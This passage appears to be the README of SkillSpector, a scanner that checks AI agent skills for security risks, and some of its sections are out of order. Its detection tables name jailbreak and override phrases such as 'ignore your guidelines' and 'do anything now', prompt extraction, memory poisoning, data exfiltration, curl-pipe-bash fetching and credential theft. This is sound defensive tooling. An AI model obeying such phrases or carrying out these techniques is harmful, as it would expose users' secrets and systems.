analysis. Omit --output for scan/batch stdout, or use skillspector baseline <path> -o - for JSON on stdout, then redirect only to a trusted destination. Run Docker with your user ID as above so you can read its files.
SkillSpector is built to be driven by other tools (CI pipelines, install gates, editor integrations). Its exit code and JSON output are a stable contract.
\nskillspector scan exits with:
| Code | \nMeaning | \n
|---|---|
0 | \n Scan completed, risk_score \u2264 50 (recommendation SAFE or CAUTION), and no enabled strict gate fired | \n
1 | \n Scan completed and either risk_score > 50, --fail-on-findings found an active finding, --fail-on-incomplete found partial/incomplete analysis, or --min-coverage found coverage below its threshold | \n
2 | \n Error (bad input, unreadable source, internal failure) | \n
\n\nBy default, the exit code collapses
\nSAFEandCAUTIONinto0. Use--fail-on-findingsto gate on any active finding,--fail-on-incompleteto gate on incomplete coverage,--min-coverage PERCENTto gate on a coverage floor, or read the JSONrecommendationfield for custom policy.
--format json produces a JSON report; with no --output/-o it is written to stdout:
skillspector scan ./my-skill/ --format json\nThe top-level shape is (this example shows a full LLM-backed scan; with --no-llm, metadata.llm_requested is false):
{\n \"skill\": { \"name\": \"...\", \"source\": \"...\", \"scanned_at\": \"<ISO 8601>\" },\n \"risk_assessment\": { \"score\": 0, \"severity\": \"LOW\", \"recommendation\": \"SAFE\" },\n \"components\": [ { \"path\": \"...\", \"type\": \"...\", \"lines\": 0, \"executable\": false, \"size_bytes\": 0 } ],\n \"issues\": [ { \"id\": \"...\", \"category\": \"...\", \"severity\": \"...\", \"confidence\": 0.0, \"location\": { \"file\": \"...\", \"start_line\": 0 } } ],\n \"metadata\": {\n \"has_executable_scripts\": false,\n \"skillspector_version\": \"...\",\n \"llm_requested\": true,\n \"llm_available\": true,\n \"inference_usage\": [\n {\n \"node\": \"semantic_security_discovery\",\n \"request_kind\": \"structured_output\",\n \"provider\": \"nv_inference\",\n \"model\": \"azure/anthropic/claude-opus-4-6\",\n \"model_source\": \"provider_response\",\n \"usage_source\": \"provider_response\",\n \"prompt_tokens\": 1000,\n \"completion_tokens\": 100,\n \"cached_tokens\": 400,\n \"cache_write_tokens\": 50,\n \"total_tokens\": 1100\n }\n ]\n }\n}\nrisk_assessment.severity \u2208 LOW | MEDIUM | HIGH | CRITICAL.risk_assessment.recommendation \u2208 SAFE | CAUTION | DO_NOT_INSTALL, mapped from severity: LOW \u2192 SAFE, MEDIUM \u2192 CAUTION, HIGH/CRITICAL \u2192 DO_NOT_INSTALL.metadata.llm_error appears only when LLM analysis was requested but unavailable.path and include outer_path, nested_path, and container provenance. Virtual paths identify in-memory members, not on-disk files; see JSON component locations.evidence identifies the affected target, analyzer reasons, and available bounds. Review the target's completeness ledger when reasons_truncated is true. See referenced-artifact diagnostics and Perl help text for interpretation and corrective actions.metadata.inference_usage contains one sanitized record per LLM response when the provider exposes token counters. It is an empty list when usage is unavailable; SkillSpector never estimates missing tokens. Prompt totals are inclusive of cache reads and writes so downstream pricing can separate those partitions safely. model_source distinguishes an independently identified provider model from the exact requested model used when response identity is absent or ambiguous. SkillSpector does not currently send Anthropic prompt-cache controls, so its scan requests cannot select the separate 5-minute or 1-hour cache-write tiers; TTL-specific response fields are normalized defensively into the aggregate cache-write counter.Finding.to_dict() in models.py; rely on the fields above and treat any additional fields as best-effort.For CI/IDE tooling, --format sarif emits SARIF 2.1.0. Each result carries its security severity; rule descriptors carry a score only when all of their results share that severity. Mixed-severity rules remain unannotated, so consumers that read only rule-level severity cannot distinguish their result severities. Recursive scans chain each percent-encoded skill-directory URI through an absolute scan-root file URI. External dependency locations retain their source provenance instead of being rebased into the local skill directory.
When using SkillSpector as an install gate, map the recommendation to an action:
\nrecommendation | \n Suggested action | \n
|---|---|
SAFE | \n allow | \n
CAUTION | \n prompt / warn the user | \n
DO_NOT_INSTALL | \n block | \n
SkillSpector computes the score band and recommendation; how strict the gate is (e.g. whether CAUTION blocks in CI) is a policy decision for the integrating tool.
All make targets assume a virtual environment is already created and activated. The Makefile uses uv if available, else pip.
# Clone, create venv, activate, install dev dependencies\ngit clone https://github.com/NVIDIA/skillspector.git\ncd skillspector\nuv venv .venv && source .venv/bin/activate\n# or: python3 -m venv .venv && source .venv/bin/activate\nmake install-dev\n\n# Run tests\nmake test\n\n# Run tests with coverage\nmake test-cov\n\n# Run linting\nmake lint\n\n# Format code\nmake format\nSkillSpector uses a two-stage detection pipeline:
\nOpenSSF Model Signing / DSSE bundles remain in content analysis, regardless of filename. Static and LLM analyzers inspect decoded JSON payloads, readable DER certificate/signature content, and all unknown wrapper fields. Strictly parsed binary fields are projected rather than treated as executable base64; canonical bytes remain available to YARA and fingerprints. Unsupported encodings (including environments without the optional cryptography dependency) retain raw fields and produce an explicit incomplete-analysis warning. Findings in decoded content point to the original bundle and label their projection in evidence. None of this verifies signatures, certificate chains, transparency logs, or signer identity.
llm-unconfirmed in JSON and SARIF outputevidence.llm_review_outcome distinguishes confirmed, disagreed, low-confidence, missing, and failed in JSON and SARIF outputThe LLM prompt includes anti-jailbreak protections to prevent malicious skills from manipulating the analysis.
\nSC4 uses the OSV.dev API to check dependencies against the full Open Source Vulnerabilities database \u2014 covering tens of thousands of advisories across PyPI and npm.
\nThe tool requires outbound HTTPS access to api.osv.dev for live vulnerability data. When that is not available, findings are limited to the static fallback list.
SkillSpector is defense-in-depth, not a sandbox. Know what it does and does not do before relying on it:
\nSKILLSPECTOR_PROVIDER endpoint. DSSE payloads and readable signing metadata are included. Use --no-llm to keep contents local (static analysis only).--no-llm. It sends dependency coordinates (not file contents), requires no API key, and falls back to a bundled list when OSV.dev is unreachable.api.osv.dev, SC4 uses a small static fallback listBased on research from \"Agent Skills in the Wild: An Empirical Study of Security Vulnerabilities at Scale\" (Liu et al., 2026):
\nfrom skillspector import graph\n\n# Invoke the LangGraph workflow\nresult = graph.invoke({\n \"input_path\": \"/path/to/skill\",\n \"output_format\": \"json\", # terminal, json, markdown, or sarif\n \"use_llm\": True, # False for static-only analysis\n})\n\n# Access results\nprint(f\"Risk Score: {result['risk_score']}/100\")\nprint(f\"Severity: {result['risk_severity']}\")\nprint(f\"Recommendation: {result['risk_recommendation']}\")\n\nfor finding in result[\"filtered_findings\"]:\n print(f\"[{finding['severity']}] {finding['rule_id']}: {finding['message']}\")\nApache License 2.0 - see LICENSE for details.
\nContributions are welcome! Please read our contributing guidelines and submit pull requests.
\nSecurity scanner for AI agent skills. Detect vulnerabilities, malicious patterns, security risks, prompt injection, data exfiltration, and supply-chain risks in Claude Code, Codex, and MCP skills before you install them.
https://docs.nvidia.com/skills/scanning-agent-skills
Security scanner for AI agent skills. Detect vulnerabilities, malicious patterns, and security risks before installing agent skills.
\n
AI agent skills (used by Claude Code, Codex CLI, Gemini CLI, etc.) execute with implicit trust and minimal vetting. In the 31,132-skill analyzed subset of the research dataset, 26.1% of skills contain vulnerabilities and 5.2% show likely malicious intent.
\nSkillSpector helps you answer: \"Is this skill safe to install?\"
\nSkillSpector is part of the NVIDIA Verified Skills pipeline, which scans, evaluates, and signs agent skills before publication. Skills that pass are published to the NVIDIA skills catalog.
\n/skillspector command for scanning skills from inside agent sessions.\n\nOpen-source software notice: This project will download and install additional third-party open source software projects. Review the license terms of these open source projects before use.
\n
Create and activate a virtual environment first (all make targets assume the venv is active). Use uv or pip; the Makefile uses uv if available, otherwise pip.
Quick install with uv (CLI-only):
\nuv tool install git+https://github.com/NVIDIA/skillspector.git\n# Update later: uv tool update skillspector\nIf you plan to run skillspector mcp, install the MCP extra at install time:
uv tool install 'skillspector[mcp] @ git+https://github.com/NVIDIA/skillspector.git'\nFrom source:
\n# Clone the repository\ngit clone https://github.com/NVIDIA/skillspector.git\ncd skillspector\n\n# Create and activate virtual environment\nuv venv .venv && source .venv/bin/activate\n# or: python3 -m venv .venv && source .venv/bin/activate\n\n# Install for production use\nmake install\n\n# Or install with development dependencies\nmake install-dev\nRun SkillSpector without installing Python by building it locally from the included Dockerfile. The image is based on the Docker Official Python 3.12-slim-bookworm image.
Build the image:
\nmake docker-build\n# or: docker build -t skillspector .\nScan a local directory by mounting your current directory into /scan, the container's working directory:
docker run --rm -v \"$PWD:/scan\" skillspector scan ./my-skill/ --no-llm\nScan with LLM analysis by passing credentials with a local .env file:
cat > .env <<'EOF'\nSKILLSPECTOR_PROVIDER=anthropic\nANTHROPIC_API_KEY=sk-ant-...\nEOF\ndocker run --rm \\\n -v \"$PWD:/scan\" \\\n --env-file .env \\\n skillspector scan ./my-skill/\nOr pass credentials directly from your shell environment:
\ndocker run --rm \\\n -v \"$PWD:/scan\" \\\n -e SKILLSPECTOR_PROVIDER=anthropic \\\n -e ANTHROPIC_API_KEY=\"$ANTHROPIC_API_KEY\" \\\n skillspector scan ./my-skill/\nWrite a report to the host filesystem by writing to the mounted directory:
\ndocker run --rm --user \"$(id -u):$(id -g)\" \\\n -v \"$PWD:/scan\" \\\n skillspector scan ./my-skill/ --no-llm --format json --output report.json\nOptional alias for repeated static scans:
\nalias skillspector-docker='docker run --rm -v \"$PWD:/scan\" skillspector'\nskillspector-docker scan ./my-skill/ --no-llm\n# Scan a local skill directory\nskillspector scan ./my-skill/\n\n# Scan a single SKILL.md file\nskillspector scan ./SKILL.md\n\n# Scan a Git repository\nskillspector scan https://github.com/user/my-skill\n\n# Scan a zip file\nskillspector scan ./my-skill.zip\nSkillSpector enforces two independent caps on remote and archive inputs to bound the impact of oversized downloads and zip bombs:
\nINGEST_MAX_BYTES (100 MiB) \u2014 applied to streamed URL downloads, total uncompressed size of zip archives, and post-clone disk usage of Git repos.INGEST_MAX_ZIP_MEMBERS (10,000) \u2014 caps the number of entries in a single zip.Note that the per-file 1 MB analysis cap (MAX_FILE_BYTES) is a separate, downstream limit: it bounds what individual analyzers will read out of an already-ingested directory. The ingest caps above bound how much content can land on disk in the first place. A breach of either ingest cap fails closed with an IngestLimitExceededError.
# Terminal output (default) - pretty formatted\nskillspector scan ./my-skill/\n\n# JSON output - machine readable\nskillspector scan ./my-skill/ --format json --output report.json\n\n# Markdown output - for documentation\nskillspector scan ./my-skill/ --format markdown --output report.md\n\n# SARIF output - for CI/CD integration and IDE tooling\nskillspector scan ./my-skill/ --format sarif --output report.sarif\nScan entire directories of skills in parallel from contrib/batch_scan/:
python -m contrib.batch_scan.batch_scan ./my-skills/ --no-llm\npython -m contrib.batch_scan.batch_scan ./my-skills/ --workers 20 -f json -o report.json\npython -m contrib.batch_scan.batch_scan ./tests/fixtures/ -f terminal --workers 20\nSupports multilingual detection (zh/ja/ko) and terminal/JSON/Markdown output.
\nFor LLM scans with higher concurrency, configure multiple API keys following .env.example \u2014 the pool improves throughput and resilience, provided the keys don't share an account-level rate limit.
See the contrib guide for details.
\n\n\nNote on LLM support: The default configuration targets DeepSeek as the cheapest public option. DeepSeek-Chat is expected to sunset, and the contributor does not have hardware to test against local models. The batch scanner was originally tested with OpenAI-compatible endpoints \u2014 DeepSeek's lack of structured-output support required manual JSON-parsing patches. If you can contribute a more universal backend (Ollama, vLLM, or a different provider), PRs are very welcome.
\n
Start with raw registry payload captures (registry-before.json and registry-after.json). Save a scan report as previous.json, then compare a later scan against that generated local report:
skillspector scan registry-before.json --mcp-registry --format json --output previous.json\nskillspector scan registry-after.json --mcp-registry --format json \\\n --mcp-registry-compare previous.json --output compared.json\nThe optional comparison object lists added and removed server identities, changed normalized fields with their previous and current values, and an unchanged_count. Identity is the server name and version, so a new version appears as an addition and the old version as a removal if it is absent from the new scan. Acquisition source and scan timestamp are excluded from comparison. unmodeled_changes lists same-identity records whose raw-record hash changed while normalized fields match; these are not counted as unchanged. This can indicate a change to fields outside the snapshot model, or array reordering in the raw record. Package and remote ordering alone is not a normalized field change. Entries in changed may also contain changes outside the snapshot model; inspect the raw record to see those changes. Compare reports with the same selection scope: a server absent from the current input is reported as removed, which does not prove it was removed from a registry.
The comparison file must be a local report produced by this registry mode with valid normalized snapshots. Malformed, oversized or duplicate server identities are rejected. This option requires --mcp-registry and is separate from the finding-suppression --baseline: it never suppresses findings or changes risk scores, and it does not fetch or execute listed server endpoints.
Registry mode rejects skill-only controls such as --use-shipped-baseline, --transitive, --transitive-depth, --transitive-allow-prefix, and --transitive-deny-prefix with exit code 2, including an explicitly supplied default depth (--transitive-depth 1). Omit these options for registry scans.
Suppress known/accepted findings so the risk score reflects only un-triaged issues and re-scans surface only new findings. See the suppression guide for the full reference.
\n# Accept all current findings into a baseline (run once), then commit it.\nskillspector baseline ./my-skill/ -o .skillspector-baseline.yaml\n\n# Scan against the baseline \u2014 only NEW findings are reported and scored.\nskillspector scan ./my-skill/ --baseline .skillspector-baseline.yaml\n\n# Review what was suppressed (still excluded from the score).\nskillspector scan ./my-skill/ --baseline .skillspector-baseline.yaml --show-suppressed\nA baseline can also use drift-tolerant glob rules (by rule id, file path, or message) \u2014 see .skillspector-baseline.example.yaml. Exact fingerprint baselines are evidence-bound: changing the scanned source or SkillSpector version keeps the finding active until it is reviewed again. When a selected baseline or baseline output is stored inside the skill directory, SkillSpector excludes that exact file from content analysis so its suppression text cannot create findings or enter regenerated fingerprints; sibling files remain in normal scan scope.
For a local directory containing one SKILL.md or skill.md, repeat --exclude to omit selected files before content analysis:
skillspector scan ./my-skill --exclude 'tests/*' --exclude 'fixtures/*.json'\nPatterns are case-sensitive globs matched against the entire relative POSIX path; * also matches /. Quote patterns so your shell does not expand them. This is an explicit caller option, not an author-controlled ignore file. Patterns matching either manifest name (SKILL.md or skill.md) are rejected, as are recursive, multi-skill, transitive, registry, and non-directory inputs. No-match patterns are still recorded in the report.
Files already outside the scan inventory, such as policy-excluded dependencies, retain their existing policy handling and are not counted as caller exclusions. Explicitly excluded inventory files remain in the coverage denominator as entirely uninspected. The report lists the applied patterns, excluded count and individual skipped paths; any matched exclusion makes coverage partial and prevents a SAFE recommendation. Use --fail-on-incomplete when partial scope should fail CI. These exclusions do not suppress findings in included files or override existing safety limits.
For the best results, configure an OpenAI-compatible LLM endpoint for semantic analysis. Pick a provider with SKILLSPECTOR_PROVIDER; hosted providers ship bundled default models, while CLI providers fall back to the local runtime's default model unless SKILLSPECTOR_MODEL is set. SkillSpector also works against local OpenAI-compatible servers (Ollama, vLLM, llama.cpp) and managed inference gateways.
Provider (SKILLSPECTOR_PROVIDER) | \n Credential env var | \nEndpoint | \nDefault model | \n
|---|---|---|---|
openai | \n OPENAI_API_KEY (+ optional OPENAI_BASE_URL) | \n api.openai.com (or any OpenAI-compatible URL) | \ngpt-5.4 | \n
anthropic | \n ANTHROPIC_API_KEY | \n api.anthropic.com | \nclaude-opus-4-6 (meta_analyzer: claude-sonnet-4-6) | \n
anthropic_proxy | \n ANTHROPIC_PROXY_API_KEY + ANTHROPIC_PROXY_ENDPOINT_URL | \n Any Vertex-style raw-predict proxy | \nclaude-sonnet-4-6 | \n
bedrock | \n AWS_PROFILE (optional) + AWS_REGION \u2014 SigV4 via boto3 | \n AWS Bedrock Runtime | \nus.anthropic.claude-sonnet-4-6 | \n
nv_build | \n NVIDIA_INFERENCE_KEY | \n build.nvidia.com | \nz-ai/glm-5.3 | \n
gemini | \n GOOGLE_CLOUD_PROJECT (+ optional GOOGLE_CLOUD_LOCATION) via ADC | \n Google Cloud OpenAI-compatible Gemini endpoint | \ngemini-3.8-flash | \n
ollama | \n (none) | \nOLLAMA_BASE_URL (default http://localhost:11434/v1) | \n llama3.1:8b | \n
azure_openai | \n AZURE_OPENAI_API_KEY + AZURE_OPENAI_ENDPOINT | \n Azure OpenAI Service | \ngpt-4o (deployment defaults to the model label) | \n
openai_compatible | \n SKILLSPECTOR_COMPAT_API_KEY + SKILLSPECTOR_COMPAT_BASE_URL | \n Any OpenAI-compatible endpoint | \nllama-3.1-70b-versatile | \n
claude_cli | \n (none \u2014 uses local CLI auth) | \nlocal claude binary | \n local Claude runtime fallback, or SKILLSPECTOR_MODEL | \n
codex_cli | \n Disabled | \nRegistered for compatibility; its read-only sandbox permits host-file reads | \nUse an HTTP API provider or another supported CLI provider | \n
gemini_cli | \n (none \u2014 uses local CLI auth) | \nlocal gemini binary | \n local Gemini runtime fallback, or SKILLSPECTOR_MODEL | \n
opencode_cli | \n (none \u2014 uses local CLI auth) | \nlocal opencode 1.18.33 binary | \n local OpenCode runtime fallback, or SKILLSPECTOR_MODEL | \n
gpt-6.1-sol, claude-opus-5-5, and claude-sonnet-5-5 remain opt-in through SKILLSPECTOR_MODEL or per-slot overrides. Promoting them to defaults requires live scanner acceptance covering benign input, credential disclosure, prompt injection, refusals, and incomplete responses. Record findings, completion status, latency, and usage, and compare against previous defaults where accessible.
For NVIDIA Build's z-ai/glm-5.3, SkillSpector requests high reasoning effort. Set SKILLSPECTOR_REASONING_EFFORT to override it with low, high, or max. The bundled 128,000-token context and 32,000-token output budgets are conservative application limits; they do not claim the hosted endpoint's maximum capacity.
Structured output is requested through LangChain's with_structured_output. The default is client-specific: ChatOpenAI uses json_schema, while other clients may use tool calling. Some models reject a forced tool call with HTTP 400 (tool_choice: type \"tool\" and \"any\" are not supported for this model). The anthropic and anthropic_proxy providers route those models (claude-opus-5-5, claude-sonnet-5-5, claude-fable-5-1, claude-mythos-5-1, or any registry entry with structured_output: json_schema) to the native JSON-schema response format. Bedrock has no JSON-schema output for them, so the bedrock provider leaves toolChoice at auto, asks for the tool call in the prompt, and retries a prose answer; it recognises the model from the model ID, a geo/global inference-profile ID, or a foundation-model / inference-profile ARN. An application-inference-profile ARN hides the model, so add that ARN to the registry (SKILLSPECTOR_MODEL_REGISTRY) with tool_choice: auto. The openai_compatible provider honours the same tool_choice: auto entry for endpoints that ignore both response_format and a forced tool_choice and answer in prose (for example iFlytek's spark-x2.5, which is bundled). The anthropic, anthropic_proxy, openai, and openai_compatible providers also recognise those Claude models inside gateway model IDs such as anthropic/claude-opus-5-5 or aws/anthropic/bedrock-claude-opus-5-5. Some OpenAI-compatible gateways turn a json_schema response format for Claude into a forced tool call, so the openai and openai_compatible providers bind the schema as a tool with tool_choice left at auto and retry a prose answer. SKILLSPECTOR_STRUCTURED_OUTPUT_METHOD=json_schema|function_calling overrides the method for any provider. The method precedence is SKILLSPECTOR_STRUCTURED_OUTPUT_METHOD, the provider's method hint, an analyzer preference, then the client default. TP4 prefers function_calling only for provider openai and the exact model label azure/anthropic/claude-opus-5, with reasoning/thinking controls unset; dated or suffixed labels and other providers keep their existing behavior. An explicit environment override or provider hint still wins when reasoning is configured.
# Stock OpenAI\nexport SKILLSPECTOR_PROVIDER=openai\nexport OPENAI_API_KEY=sk-...\nskillspector scan ./my-skill/\n\n# Anthropic\nexport SKILLSPECTOR_PROVIDER=anthropic\nexport ANTHROPIC_API_KEY=sk-ant-...\nskillspector scan ./my-skill/\n\n# Anthropic via Vertex-style proxy (corporate gateways, GCP Vertex AI)\nexport SKILLSPECTOR_PROVIDER=anthropic_proxy\nexport ANTHROPIC_PROXY_ENDPOINT_URL=https://my-gateway.example.com/models/claude-sonnet-4-6:streamRawPredict\nexport ANTHROPIC_PROXY_API_KEY=your-bearer-token\nexport SKILLSPECTOR_MODEL=claude-sonnet-4-6\nskillspector scan ./my-skill/\n\n# AWS Bedrock (Claude via SigV4)\nexport SKILLSPECTOR_PROVIDER=bedrock\n# Optional: select an AWS named profile. When unset, the standard\n# boto3 credential chain (env vars, instance metadata, SSO, etc.) resolves.\n# export AWS_PROFILE=my-profile\nexport AWS_REGION=us-west-2 # default if unset\n# Default model: us.anthropic.claude-sonnet-4-6\n# Override with any Bedrock model ID, cross-region inference-profile\n# ID, or your own application-inference-profile ARN. Claude 5.5 is opt-in:\n# us./eu. profiles keep requests in that geography, global. routes worldwide.\n# export SKILLSPECTOR_MODEL=us.anthropic.claude-sonnet-5-5\nskillspector scan ./my-skill/\n\n# NVIDIA build.nvidia.com\nexport SKILLSPECTOR_PROVIDER=nv_build\nexport NVIDIA_INFERENCE_KEY=nvapi-...\nskillspector scan ./my-skill/\n\n# Gemini on Google Cloud (Application Default Credentials / Workload Identity)\n# Prerequisites:\n# 1. Google Cloud project with billing enabled.\n# 2. Enable Gemini Enterprise Agent Platform / Vertex AI API: `aiplatform.googleapis.com`.\n# 3. IAM permission: grant `roles/aiplatform.user` (or at minimum `aiplatform.endpoints.predict`)\n# to your user account or Kubernetes service account.\n# 4. Local authentication: run `gcloud auth application-default login`.\n# Configure a quota project if needed: `gcloud auth application-default set-quota-project PROJECT_ID`.\n# 5. Kubernetes / GKE: configure Workload Identity and leave GOOGLE_APPLICATION_CREDENTIALS unset\n# rather than exporting service account keys.\n# Note on Data Residency:\n# The default `global` endpoint does not support data-residency requirements. While you can target\n# `us`, `eu`, or regional endpoints (e.g. `us-central1`), endpoint selection alone does not guarantee\n# data residency or in-region processing without appropriate organizational policies. Always verify\n# that your selected model is supported in your target location.\n# Optional credentials:\n# GOOGLE_APPLICATION_CREDENTIALS is optional and can reference Workload or Workforce Identity Federation\n# configuration files; exporting long-lived service account keys is discouraged.\nexport SKILLSPECTOR_PROVIDER=gemini\nexport GOOGLE_CLOUD_PROJECT=my-project-id\n# export GOOGLE_CLOUD_LOCATION=global # default is global; or us, eu, or specific region (e.g. us-central1)\n# Default model: gemini-3.8-flash\n# export SKILLSPECTOR_MODEL=gemini-3.7-flash\nskillspector scan ./my-skill/\n\n# Local Claude CLI \u2014 no API key; uses your existing `claude auth login` session\n# Requires: claude CLI installed and authenticated (claude auth login)\nexport SKILLSPECTOR_PROVIDER=claude_cli\n# Uses the local Claude CLI runtime fallback unless SKILLSPECTOR_MODEL is set.\n# export SKILLSPECTOR_MODEL=claude-sonnet-4-6\nskillspector scan ./my-skill/\n\n# Gemini (via OpenAI compatibility layer)\nexport SKILLSPECTOR_PROVIDER=openai\nexport OPENAI_API_KEY=\"YOUR_GEMINI_API_KEY\"\nexport OPENAI_BASE_URL=\"https://generativelanguage.googleapis.com/v1beta/openai/\"\nexport SKILLSPECTOR_MODEL=gemini-3.5-flash\nskillspector scan ./my-skill/\n\n# Local Ollama \u2014 no API key\nexport SKILLSPECTOR_PROVIDER=ollama\n# export OLLAMA_BASE_URL=http://localhost:11434/v1 # shown default\nexport SKILLSPECTOR_MODEL=llama3.1:8b\nskillspector scan ./my-skill/\n\n# Azure OpenAI\nexport SKILLSPECTOR_PROVIDER=azure_openai\nexport AZURE_OPENAI_API_KEY=...\nexport AZURE_OPENAI_ENDPOINT=https://example.openai.azure.com/\nexport AZURE_OPENAI_DEPLOYMENT=my-deployment\nskillspector scan ./my-skill/\n\n# Any other OpenAI-compatible endpoint\nexport SKILLSPECTOR_PROVIDER=openai_compatible\nexport SKILLSPECTOR_COMPAT_API_KEY=...\nexport SKILLSPECTOR_COMPAT_BASE_URL=https://api.groq.com/openai/v1\nexport SKILLSPECTOR_MODEL=llama-3.1-70b-versatile\nskillspector scan ./my-skill/\n\n# Override the provider's default model\nexport SKILLSPECTOR_MODEL=gpt-5.2\nskillspector scan ./my-skill/\n\n# Skip LLM analysis (faster, static analysis only)\nskillspector scan ./my-skill/ --no-llm\nRun SkillSpector as a Model Context Protocol server so local MCP-capable agents (Claude Code, Codex CLI, Gemini CLI) can call scanning as a tool and gate skill/MCP installs on the result \u2014 turning SkillSpector into a runtime guardrail instead of an out-of-band audit step.
\nskillspector mcp requires skillspector[mcp].
# Install, or reinstall if you already used the CLI-only path\nuv tool install --force 'skillspector[mcp] @ git+https://github.com/NVIDIA/skillspector.git'\n\n# FastMCP stdio transport for local CLI agents\nskillspector mcp\n\n# Streamable HTTP transport on a local loopback interface\nskillspector mcp --transport http --host 127.0.0.1 --port 8000\nThe stdio transport is the current FastMCP path for local CLI agents, and the initialize hang reported in issue #199 still applies there.
\nThe server exposes a single tool:
\nscan_skill(target, use_llm=true, output_format=\"json\") \u2014 scans a Git URL, file URL, .zip, .md file, or directory and returns a structured verdict: risk_score (0-100), severity, recommendation, safe_to_install, and findings. It also reports llm_used / scan_mode so a low score from a static-only scan is never mistaken for a clean full scan.Register it with Claude Code via:
\nclaude mcp add skillspector -- skillspector mcp\n\n\nSecurity \u2014 HTTP transport trust model
\nThe HTTP transport ships without authentication. Any caller that can reach the port can invoke
\nscan_skill. HTTP bindings are restricted to loopback IPs (127.0.0.1or::1);localhostbinds to127.0.0.1without DNS resolution. Wildcard, routable and other hostname bindings are rejected.\n
\n- For remote access, put an authenticating reverse proxy (e.g. nginx + mTLS) in front of the loopback listener.
\n- Local paths and
\nfile://URLs are automatically rejected over HTTP to prevent unauthenticated callers from reading arbitrary host files. Only remote Git and.zipURLs are accepted.HTTP scans accept only credential-free
\nhttps://targets. Git scans never use the server's Git login or Git config. If a proxy or custom CA is needed, setHTTPS_PROXY,NO_PROXYorGIT_SSL_CAINFOin the server environment. Use stdio or the CLI for private repositories. Git redirects are rejected; use the current repository URL after a rename or transfer.
SkillSpector detects 71 vulnerability patterns across 17 categories:
\n| ID | \nPattern | \nSeverity | \nDescription | \n
|---|---|---|---|
| P1 | \nInstruction Override | \nHIGH | \nCommands to ignore safety constraints | \n
| P2 | \nHidden Instructions | \nHIGH | \nMalicious directives in comments/invisible text | \n
| P3 | \nExfiltration Commands | \nHIGH | \nInstructions to transmit context externally | \n
| P4 | \nBehavior Manipulation | \nMEDIUM | \nSubtle instructions altering agent decisions | \n
| P5 | \nHarmful Content | \nCRITICAL | \nInstructions that could cause physical harm | \n
| P9 | \nWhitespace Padding | \nMEDIUM | \nLarge whitespace padding hiding instructions below/beside the visible area | \n
| ID | \nPattern | \nSeverity | \nDescription | \n
|---|---|---|---|
| AR1 | \nRefusal Suppression | \nHIGH | \nInstructions to never refuse or always comply (e.g. \"never refuse\", \"always comply\") | \n
| AR2 | \nDisclaimer Suppression | \nHIGH | \nInstructions to omit warnings, disclaimers, or ethical commentary (e.g. \"no disclaimers\", \"do not moralize\") | \n
| AR3 | \nSafety Policy Nullification | \nHIGH | \nJailbreak framing that nullifies guardrails (e.g. \"you have no restrictions\", \"ignore your guidelines\", \"do anything now\") | \n
| ID | \nPattern | \nSeverity | \nDescription | \n
|---|---|---|---|
| E1 | \nExternal Transmission | \nMEDIUM | \nSending data to external URLs | \n
| E2 | \nEnv Variable Harvesting | \nHIGH | \nEnumerating, copying, or searching environment data to collect secrets | \n
| E3 | \nFile System Enumeration | \nMEDIUM | \nScanning directories for sensitive files | \n
| E4 | \nContext Leakage | \nHIGH | \nTransmitting conversation context externally | \n
| ID | \nPattern | \nSeverity | \nDescription | \n
|---|---|---|---|
| PE1 | \nExcessive Permissions | \nLOW | \nRequesting access beyond stated functionality | \n
| PE2 | \nSudo/Root Execution | \nMEDIUM | \nInvoking elevated system privileges | \n
| PE3 | \nCredential Access | \nHIGH | \nReading SSH keys, tokens, passwords | \n
| ID | \nPattern | \nSeverity | \nDescription | \n
|---|---|---|---|
| SC1 | \nUnpinned Dependencies | \nLOW | \nNo version constraints on packages | \n
| SC2 | \nExternal Script Fetching | \nHIGH | \ncurl | bash and remote code execution | \n
| SC3 | \nObfuscated Code | \nHIGH | \nBase64/hex encoded execution | \n
| SC4 | \nKnown Vulnerable Dependencies | \nHIGH | \nDependencies with known CVEs (live OSV.dev lookup) | \n
| SC5 | \nAbandoned Dependencies | \nMEDIUM | \nUnmaintained packages without security updates | \n
| SC6 | \nTyposquatting | \nHIGH | \nPackage names similar to popular packages | \n
| SC8 | \nShipped Python Bytecode | \nHIGH | \n__pycache__ / .pyc present (discovery skips; malicious bytecode bypass) | \n
| SC9 | \nConcealed Executable Artifact | \nHIGH | \nExecutable nested in a document container or hidden/disguised artifact; root-level visible source helpers in manifested .agents/skills/<name>/ and .claude/skills/<name>/ folders are exempted but remain local-only and are marked as not LLM-reviewed | \n
| SC10 | \nDependency Source Redirection | \nHIGH | \nPackage-manager source added, replaced, or unresolved | \n
| ID | \nPattern | \nSeverity | \nDescription | \n
|---|---|---|---|
| EA1 | \nUnrestricted Tool Access | \nHIGH | \nUnfettered tool access without constraints | \n
| EA2 | \nAutonomous Decision Making | \nHIGH | \nHigh-impact decisions without human-in-the-loop | \n
| EA3 | \nScope Creep | \nMEDIUM | \nCapabilities extending beyond stated purpose | \n
| EA4 | \nUnbounded Resource Access | \nMEDIUM | \nNo rate limits or quotas on resource consumption | \n
| EA5 | \nExternal Model or Provider Selection | \nMEDIUM/HIGH | \nModel/provider pins or coding-CLI shell-outs that can switch billing accounts | \n
| ID | \nPattern | \nSeverity | \nDescription | \n
|---|---|---|---|
| OH1 | \nUnvalidated Output Injection | \nHIGH | \nModel output used without sanitization | \n
| OH2 | \nCross-Context Output | \nMEDIUM | \nOutput flows across trust boundaries without validation | \n
| OH3 | \nUnbounded Output | \nMEDIUM | \nNo limits on output size or generation rate | \n
| ID | \nPattern | \nSeverity | \nDescription | \n
|---|---|---|---|
| P6 | \nDirect Leakage | \nHIGH | \nInstructions that expose system prompts or internal rules | \n
| P7 | \nIndirect Extraction | \nMEDIUM | \nExtraction via rephrasing, translation, or side-channels | \n
| P8 | \nTool-Based Exfiltration | \nHIGH | \nSystem prompts exfiltrated via file writes or network requests | \n
| ID | \nPattern | \nSeverity | \nDescription | \n
|---|---|---|---|
| MP1 | \nPersistent Context Injection | \nHIGH | \nContent designed to persist across interactions | \n
| MP2 | \nContext Window Stuffing | \nMEDIUM | \nFiller content displacing safety constraints | \n
| MP3 | \nMemory Manipulation | \nHIGH | \nTampering with agent memory or stored state | \n
| ID | \nPattern | \nSeverity | \nDescription | \n
|---|---|---|---|
| TM1 | \nTool Parameter Abuse | \nHIGH | \nCrafted parameters for unintended behavior (shell=True, --force) | \n
| TM2 | \nChaining Abuse | \nHIGH | \nTool chains that bypass individual safety checks | \n
| TM3 | \nUnsafe Defaults | \nMEDIUM | \nOverly permissive defaults (disabled TLS, no auth) | \n
| ID | \nPattern | \nSeverity | \nDescription | \n
|---|---|---|---|
